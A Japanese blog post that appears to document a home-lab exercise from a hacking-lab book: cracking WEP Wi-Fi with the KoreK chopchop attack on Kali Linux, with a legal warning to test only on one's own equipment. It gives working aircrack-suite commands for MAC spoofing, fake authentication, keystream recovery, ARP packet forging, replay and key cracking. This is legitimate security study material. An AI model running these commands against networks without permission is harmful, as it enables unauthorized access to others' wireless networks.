Kali Linux2022.1 でハッキングラボをつくってみる9 無線LANへのハッキング5 WEPへのハッキング KoreK chopchop攻撃

# はじめに
「ハッキング・ラボのつくりかた」p.546-553の内容に沿って、KaliLinux2022.1で検証してみる記事です。
最初に述べておきますが、KaliLinuxで使っているwifiアダプタでは、chopchop攻撃が使用できないようなので、途中から別のノートパソコンで検証を行いました。

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
# KoreK chopchop攻撃とは
前にも書きましたが、WEPのパスワード解析には、パケットのIV(WEPの暗号化に使用される24bitのデータ）を多く集めることが必要です。攻撃者側から人為的にパケット（含むIV)を増やすように細工をすれば、早くパケットが集まることで、解析時間の短縮が期待できるわけです。
KoreK chopchopは、そういった攻撃方法のひとつ。

# 検証
APに接続している端末がKaliLinuxのみにしておく。
## MACアドレスをわかりやすいものに変更する
### 無線LANアダプタのランダムMACアドレス機能を無効にする。
ファイル"/etc/NetworkManager/NetworkManager.conf"に以下を追記した後、`sudo systemctl restart NetworkManager`を実行する。
```conf:/etc/NetworkManager/NetworkManager.conf
[device]
wifi.scan-rand-mac-address=no
```

### MACアドレスの変更
ベンダーIDはもとのMADアドレスと同じにする。ベンダーIDは、MACアドレスの左から６桁目までである。ベンダーは、[MACアドレス検索 | UIC](https://uic.jp/mac/)から調べることができる。
```
macchanger -s wlan0
```
Current MACのベンダーIDとPermanent MACのベンダーIDが違うものになってしまった。
KaliLinuxを再起動すると、両者が統一される。

![VirtualBox_kali-linux-2022.1-virtualbox-amd64_19_05_2022_19_35_58_macchanger.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/a058dcf7-5935-d8d1-a126-d081c64dc9c1.png)
```
sudo ifconfig wlan0 down
sudo macchanger --mac=<新しく設定するMACアドレス> wlan0
sudo ifconfig wlan0 up
ip addr show wlan0
```
:::note warn
ARPパケットを偽装(chopchop攻撃の開始)のコマンドが
`sudo aireplay-ng --chopchop -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
`KaliLinuxではうまくできなくなったので、それ以降の検証は別のノートパソコンで行いました。
そのせいで、「airodump-ngを実行する」からの画面のスクショがKaliLinuxのものとは異なっております。
:::

## airodump-ngを実行する
`sudo airodump-ng wlan0`でAPを探索する。
ターゲットのAPが見つかったら、次のコマンドを実行する。
```
sudo airodump-ng --channel 2 --bssid <ターゲットのbssid> --write chopchop wlan0
```
実行後、出力中のAUTHが空欄になっている。
![スクリーンショット_2022-05-23_13-29-36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5671fbd8-1394-283d-6711-d55f61c7dd33.png)



## aireplay-ngを使った偽認証
airodump-ngとは、**別の端末を新規に**立ち上げて、次のコマンドを実行する。
```
sudo aireplay-ng --fakeauth 0 -a <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
//または、aireplay-ngのヘルプより、次のコマンドでもOK
sudo aireplay-ng -1 0 -a <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
```
![スクリーンショット_2022-05-23_13-29-54.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/9f4ce251-7a67-0210-1144-e30085fe8795.png)
-1オプションは、--fakeauthオプションの簡略表記。
出力の最後に、"Association successfull :-) (AID: 1)"が確認できたら、実行中のairodump-ngの"AUTH"の値が空欄からOPNに変化する。

# ARPパケットを偽装(chopchop攻撃の開始)
次のコマンドを、上記のコマンドに続けて実行する。
```
sudo aireplay-ng --chopchop -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
//または、aireplay-ngのヘルプより、次のコマンドでもOK
sudo aireplay-ng -4 -b <ターゲットのbssid> -h <送信元のMACアドレス> wlan0
```

![スクリーンショット_2022-05-23_13-31-10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c4332a1d-dbc6-faf5-2708-0735b3c67d76.png)

ダンプデータ（0x0000アドレスから始まる16進数で表示されているバイナリデータ）が３〜５行になるまでは、"Use this packet?"に"n"と返答する。
"n"を入力すると、別のパケットが読み込まれる。
今回は、一発目で５行以上のダンプデータが得られたので、これをそのまま使うことにする。

処理には数分かかる。
処理が完了すると、テキストファイル.capファイルとキーストリーム.xorファイルが作成される。
![スクリーンショット_2022-05-23_13-34-41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/aa067627-f152-9ffa-7685-544be23472ab.png)

# 偽装したARPパケットを送信する
`packetforge-ng`コマンドを使う。
```
sudo packetforge-ng -0 -a <ターゲットのbssid> -h <送信元のMACアドレス> -k 255.255.255.255 -l 255.255.255.255 -y replay_dec-0523-133418.xor -w replay_dec-0523-133418.cap
```
-0は、ARP要求パケットの生成すること意味する。
-kオプションには、宛先IPアドレス、-lオプションには、送信元IPアドレスを指定する。
今回、同書の記述に沿って、-kと-lオプションには、ブロードキャストアドレスを指定している。

私は、ブロードキャストアドレスを使用する理由として、宛先IPアドレス（APのIPアドレス）の場合は、攻撃者が知っているとは限らないこと、送信元IPアドレスの場合は、攻撃者（送信元）のIPアドレスをごまかすためではないかと思った。ただ、どのみちAPのARPテーブルに攻撃者のMACアドレスが残ることになる。(macchangerで変更しているけど）
これについて、[packetforge-ng](https://www.aircrack-ng.org/doku.php?id=packetforge-ng)に次の記述があった。
>"Most access points really don't care what IPs are used for the arp request. So as a result you can use 255.255.255.255 for source and destination IPs."

私訳：　「殆どのAPはARPリクエストにおいて使用されているIPアドレスには着目していません。そんなわけで、ブロードキャストアドレス255.255.255.255が宛先、送信元IPアドレスの両方ともに使用できます。」

考え過ぎか、というか勉強不足か・・・。

# Data項目の数値を増加させる
`aireplay-ng`コマンドの--interactiveオプションを使うことで、Data項目のパケットを著しく増加させることができる。パケットの増加はIV数の増加につながるので、ぜひやっておきたい。
```
sudo aireplay-ng --interactive -r replay_dec-0523-133418.cap wlan0
//または、aireplay-ngのヘルプより、次のコマンドでもOK
sudo aireplay-ng -2 -r replay_dec-0523-133418.cap wlan0
```

# WEPの解析
更に、新規に別の端末を立ち上げて、次のコマンドを実行する。
```
sudo aircrack-ng chop-01.cap
```
![スクリーンショット_2022-05-23_14-13-52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/651190b6-f7d3-fb5f-7783-2aefcba34c6d.png)

# おわりに
攻撃のプロセスが複雑なので、概略図を載せる。
![chopchop攻撃の流れ.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c4f60f3c-44ce-27ab-6c05-385d81839990.jpeg)
--interactiveオプションを使うプロセスは、必須ではないので、この図からは除外した。

参考にしたもの
「ハッキング・ラボのつくりかた」(IPSIRON著)

https://it-study.info/mac-vendor/

https://uic.jp/mac/

https://www.aircrack-ng.org/doku.php?id=korek_chopchop

https://www.aircrack-ng.org/doku.php?id=packetforge-ng